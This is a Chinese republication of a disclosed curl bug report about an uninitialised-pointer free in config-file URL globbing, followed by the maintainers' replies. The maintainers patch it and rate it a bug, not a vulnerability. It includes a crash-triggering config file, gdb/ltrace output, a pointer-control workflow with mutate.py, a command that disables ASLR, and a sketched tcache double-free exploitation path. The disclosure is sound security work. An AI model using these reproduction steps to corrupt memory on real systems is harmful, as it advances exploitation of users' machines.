深入解析cURL配置文件解析中的可控释放漏洞

本报告详细披露了cURL工具在解析特定构造的配置文件时存在的一个“可控任意释放”漏洞。攻击者通过恶意配置文件,可控制传递给`free()`函数的指针,可能导致双重释放、释放后使用及内存损坏。虽然项目方最终将其定性为功能缺陷而非安全漏洞,但其潜在风险值得关注。

报告 #3434543 - cURL配置文件解析中的任意释放

报告标题: cURL配置文件解析中的任意释放。

提交者: letshack9707 向 curl 提交报告。 时间: 7天前

摘要: 任意释放(可能导致双重释放/释放后使用/内存损坏,具体后果取决于程序以及我们在控制被释放指针后所能执行的操作)。 关于是否使用AI发现问题或生成报告的声明:,我使用了AI来列出与此漏洞相关的一些资源。

受影响版本: cURL 8.17.0 (x86_64-pc-linux-gnu) libcurl/8.17.0 OpenSSL/3.4.1 zlib/1.3.1 brotli/1.1.0 zstd/1.5.7 libidn2/2.3.8 libpsl/0.21.2 nghttp2/1.64.0 librtmp/2.3 OpenLDAP/2.6.9 发行日期:2025-11-05 协议:dict file ftp ftps gopher gophers http https imap imaps ipfs ipns ldap ldaps mqtt pop3 pop3s rtmp rtsp smb smbs smtp smtps telnet tftp ws wss 特性:alt-svc AsynchDNS brotli HSTS HTTP2 HTTPS-proxy IDN IPv6 Largefile libz NTLM PSL SSL threadsafe TLS-SRP UnixSockets zstd

cURL 8.16.0 同样受影响,在配置文件中使用了不同的样本和不同的可控参数。

操作系统/内核:

在 Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 上测试。

复现步骤:

  1. touch host0.bin 并打开它(使用 vim host0.bin):……… host0.bin (F5027150)
  2. 粘贴以下内容:
1
2
3
4
--url "http://google.com/iernay{1-2}kFORFNUUklOR1JBTkRTVFJJTkdSQU5EU1RSSU5HUkFORFNUUklOR1JBTkRTVFJJTkdSQU5EU1RSSU5HUkFORFNUUklOR1JBTkRTVFJJT"
--url "http://[::%2-socks5]:8080/"
--url google.com-Z[.-p].example.com"
--doh-url=127.0.0.1

运行:

1
gdb -ex "r" --args curl --config host0.bin

(此处包含详细的GDB寄存器、堆栈和代码输出,显示了程序在 __GI___libc_free 中因 SIGSEGV 而停止,rdi 寄存器指向可控字符串 “127.0.0.” 的地址。)

1
2
└─$ echo -ne "0x2e302e302e373231" |xxd -r -p |rev
127.0.0.                                                            # 这是我们能控制的内容(针对此配置文件)

我创建了一个 Python 脚本 mutate.py (F5027147),用于将 heap0.bin 中的可控数据(127.0.0.)替换为我们需要传递给 __GI___libc_free 的地址,并写入新的配置文件 vuln.conf

1
>> python mutate.py 0x4242424242424242 && gdb -ex "r" --args curl --config vuln.conf

(再次包含GDB输出,显示 rdi 寄存器现在为 0x4242424242424242 (“BBBBBBBB”),证明我们控制了传递给 free() 的指针。)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
where
#0  0x00007ffff7cb24aa in __GI___libc_free (mem=0x4242424242424242) at ./malloc/malloc.c:3375
#1  0x000055555557e8a7 in glob_cleanup (glob=0x5555555cb618 <globalconf+88>) at tool_urlglob.c:499
...
gef  frame 1
#1  0x000055555557e8a7 in glob_cleanup (glob=0x5555555cb618 <globalconf+88>) at tool_urlglob.c:499
499                tool_safefree(glob->pattern[i].c.set.elem[elem]);
gef  list
494        if(glob->pattern) {
495          for(i = 0; i < glob->size; i++) {
496            if((glob->pattern[i].type == GLOB_SET) &&
497               (glob->pattern[i].c.set.elem)) {
498              for(elem = glob->pattern[i].c.set.size - 1; elem >= 0; --elem)
499                tool_safefree(glob->pattern[i].c.set.elem[elem]);
500              tool_safefree(glob->pattern[i].c.set.elem);
501            }
502          }
503          tool_safefree(glob->pattern);

我们也可以使用 ltrace 工具来确认这一点:

1
2
3
4
5
6
7
>> ltrace curl --config vuln.conf
...................
free(0x555555600220)                                                    = <void>
free(0x5555556023d0)                                                    = <void>
free(0x4242424242424242 <no return ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

现在我们确认了我们可以控制传递给 free 的指针(free(0x4242424242424242 <no return ...>),我们可以分析我们的程序并决定如何处理它。 为了简化,我在此处禁用了ASLR:

1
>> echo 0 > /proc/sys/kernel/randomize_va_space

ltrace -e free -o free.txt curl --config vuln.conf (free.txt (F5027151))

现在,如果我获取任何已被释放的地址,并将其写入配置文件(vuln.conf),我将得到如下结果:

1
2
3
4
5
6
7
8
9
─$ python mutate.py  0x555555602dd0 && ltrace curl --config vuln.conf
...
free(0x555555600220)                                                    = <void>
free(0x5555556023d0)                                                    = <void>
free(0x555555602dd0)                                                    = <void>
free(0x555555602dd0free(): double free detected in tcache 2
 <no return ...>
--- SIGABRT (Aborted) ---
+++ killed by SIGABRT +++

备注

所以这是配置文件的一个变体。我生成了大量的curl参数并将它们传播到curl的配置文件中,从而成功地将我可以控制的数据传递给了free函数(损坏堆)。

每个变体暴露了最终到达GI_libc_free的不同可控数据片段。一些值无法被影响,因为它们源于内部的cURL符号,而其他一些变体则完全控制传递给free()的指针。

请注意,我尚未设法用C代码(使用<curl/curl.h>)触发相同的崩溃,但这可能是可行的。

这代表了一种配置文件利用的变体。通过生成多个curl参数并通过curl配置文件传播它们,我成功地将可控数据传递给了free()函数,导致堆损坏。

不同的变体暴露了最终到达__GI___libc_free(0x...)的不同程度的可控数据。一些指针值无法被影响,因为它们源自内部的cURL符号,而其他变体则提供了对传递给free()的指针的完全控制。

我尚未设法使用带有<curl/curl.h>的C代码触发相同的崩溃,尽管这可能是可行的。

我将严重性设置为,因为:

  • 利用需要诱骗用户运行特制的配置文件,我们也可以使用~/.curlrc配置文件来设置可疑参数。
  • Curl本身已经能够执行命令(此漏洞源于curl处理配置文件的方式,而非其固有的命令执行能力)。
  • 这需要额外的漏洞(任意读取、内存泄漏等)来绕过ASLR/Tcache缓解措施,除非我们利用同一漏洞实现读/写原语,然后利用它来绕过ASLR和Tcache缓解措施。

支持材料/参考文献:

https://curl.se/

影响

影响: 控制传递给free的指针 –> 潜在的双重释放/释放后使用 –> RCE / 权限提升,取决于运行curl的环境。

需要用户执行恶意配置文件。

附件

4 个附件:F5027147: mutate.py,F5027150: host0.bin,F5027151: free.txt,F5027152: malloc.txt

时间线

letshack9707 发布了评论。 7天前 构建指令:

1
2
CFLAGS="-g -O0 -fno-omit-frame-pointer -fno-inline" ./configure --with-openssl
make all -j$(nproc) && sudo make install

bagder (curl staff) 发布了评论。 6天前 感谢您的报告! 我们将花些时间调查您的报告,并尽快给您反馈详情和可能的问题跟进!很可能在接下来的24小时内。 我们始终致力于尽快修复报告的问题。严重性为低或中等问题,我们会在普通发布周期内合并到下一个版本中。只有更严重的问题,我们可能会提前发布修复。

bagder (curl staff) 发布了评论。 更新于 6天前 这里有一个似乎为我修复了它的补丁:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
--- a/src/tool_urlglob.c
+++ b/src/tool_urlglob.c
@@ -418,11 +418,11 @@ static CURLcode glob_parse(struct URLGlob *glob, const char *pattern,
         res = glob_range(glob, &pattern, &pos, amount, globindex++);
         break;
       }
     }
 
-    if(++glob->size >= glob->palloc) {
+    if(!res && (++glob->size >= glob->palloc)) {
       struct URLPattern *np = NULL;
       glob->palloc *= 2;
       if(glob->size < 255) { /* avoid ridiculous amounts */
         np = realloc(glob->pattern, glob->palloc * sizeof(struct URLPattern));
         if(!np)

bagder (curl staff) 发布了评论。 6天前 这是在curl工具中,realloc之后(未初始化的)堆内存的一次释放。它不与任何其他线程共享内存空间,攻击者无法控制或滥用此释放 - 即使攻击者向用户提供了特制的配置文件。结果很可能是无害的或导致崩溃。在此上下文中,curl工具崩溃是无害的,因为curl无论如何都会退出,并且给定一个任意的配置文件,不能期望有特定的定义行为,因为输入是未知的。

我看不出这里有漏洞?

bagder (curl staff) 发布了评论。 6天前 第一个补丁太天真且不完整。这里有一个适当的尝试,似乎修复了此报告并运行了全局测试用例: https://github.com/curl/curl/pull/19614

dgustafsson (curl staff) 发布了评论。 6天前 我也看不出这里有漏洞,但感谢您的报告!

letshack9707 发布了评论。 更新于 6天前 感谢,

攻击者无法控制或滥用此释放

我已经展示了可以通过配置文件控制传递给free()的指针,当使用先前已释放的地址时,这导致在tcache中检测到双重释放,为了利用这一点,我们需要绕过tcache缓解措施,而我在测试期间无法绕过它。

1
2
free(0x555555602dd0)  # 释放先前已释放的地址
free(0x555555602dd0free(): double free detected in tcache 2

你能解释一下这与众所周知的双重释放有何不同吗? 与此同时,我将查看您提供的修复方案。

bagder (curl staff) 发布了评论。 6天前

你能解释一下这与众所周知的双重释放有何不同吗? 不。您需要向我们解释这为什么是一个漏洞。

letshack9707 发布了评论。 6天前 这目前仍然是一个理论上的漏洞.. 至少,这是我对此漏洞的想法:

正如我提到的,我们首先需要绕过tcache双重释放检测, 一旦缓解措施被绕过,程序将不会在双重释放时中止(释放的块将被插入tcache bin),然后我们必须触发curl中的分配,返回与我们之前释放的块大小相同的块。如果分配器随后在malloc()上返回该地址,返回的指针将指向攻击者控制的区域(我们释放的地址),允许我们在选定的地址获得一个伪造的块。

bagder (curl staff) 发布了评论。 更新于 6天前

返回的指针将指向攻击者控制的区域 您发现了一种情况,使得free()一个由未初始化的堆内存构成的指针。 您尚未展示攻击者如何控制它释放哪个地址。但由于这是早期分配,您可能可以在之前对内存进行一些操作,也许可以使其成为一个可重现的地址。 即使我们假设您可以使其释放特定地址,您会选择什么地址,这样的攻击能实现什么?该进程仍然是作为您的用户运行的单个进程。这样的攻击能做到什么curl在收到攻击者提供的随机配置文件时还不能做的事情呢?

letshack9707 发布了评论。 更新于 6天前

您尚未展示攻击者如何控制它释放哪个地址 嗯,我展示了。

1
python mutate.py  0x555555602dd0 && ltrace curl --config vuln.conf

mutate.py获取地址并将其写入配置文件(vuln.conf),错误是tcache缓解措施的结果。

这样的攻击能做到什么curl在收到攻击者提供的随机配置文件时还不能做的事情呢? 完全同意,答案是没有。 但是这个漏洞(如果被利用)源于curl处理配置文件的方式,而非其固有的命令执行能力。

bagder (curl staff) 发布了评论。 6天前

嗯,我展示了。 啊,是的,您展示了。抱歉。我漏掉了那部分。

但是这个漏洞(如果被利用)源于curl处理配置文件的方式,而非其固有的命令执行能力。 区别是什么?它们基本上是一样的,你也可以使用普通命令行达到这个漏洞。 重点仍然是:这里没有漏洞,“仅仅”是一个bug。

letshack9707 发布了评论。 6天前

区别是什么?它们基本上是一样的,你也可以使用普通命令行达到这个漏洞。 我理解curl具有合法的命令执行能力,但是,这个漏洞(如果被利用)为我们提供了一条攻击者可以利用的意外途径(比如说,作为部署恶意软件的入口点),根本问题仍然是一个真正的漏洞,在正常命令行使用(没有畸形的配置数据)中是不存在的。 换句话说,如果有人实施了安全控制或净化器来防止恶意配置文件执行命令,这个漏洞将完全绕过这些保护。

letshack9707 发布了评论。 6天前

第一个补丁太天真且不完整。这里有一个适当的尝试,似乎修复了此报告并运行了全局测试用例: https://github.com/curl/curl/pull/19614 这似乎修复了这个bug,谢谢。

bagder (curl staff) 发布了评论。 5天前

根本问题仍然是一个真正的漏洞 事情不是这样的。如果您和我们curl安全团队中的任何成员都无法找出滥用此问题或将其转化为漏洞的方法,那么这被视为一个普通的bug,而不是安全问题。

bagder (curl staff) 关闭了报告并将状态更改为信息性。 3天前 感谢您的报告和为此付出的辛勤工作。被认为不是一个安全问题。

bagder (curl staff) 请求披露此报告。 3天前 根据项目透明度的政策,我们希望所有报告都被披露并公开。

letshack9707 发布了评论。 3天前

感谢您的报告和为此付出的辛勤工作。被认为不是一个安全问题。 谢谢,我相信curl中配置文件解析漏洞应该被视为该程序的范围之外,因此研究人员不会花时间在这里报告它们,因为它们被当作普通的bug或正常的curl能力。 我将来会在GitHub上直接发布类似的bug。 再次感谢您付出的时间和努力,使curl工具变得更好、更安全。

letshack9707 同意披露此报告。 3天前 此报告已披露。 3天前

bagder (curl staff) 发布了评论。 3天前 @letshack9707 curl工具中的问题被认定为安全问题的可能性较低。这不是范围问题,而是它们是否属于漏洞的问题。

报告于: November 20, 2025, 4:39am UTC 报告者: letshack9707 报告给: curl 参与者: 报告ID: #3434543 状态: 信息性 严重性: 低 (0.1 ~ 3.9) 披露日期: November 23, 2025, 4:03pm UTC 弱点:CVE ID:赏金:账户详情:

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计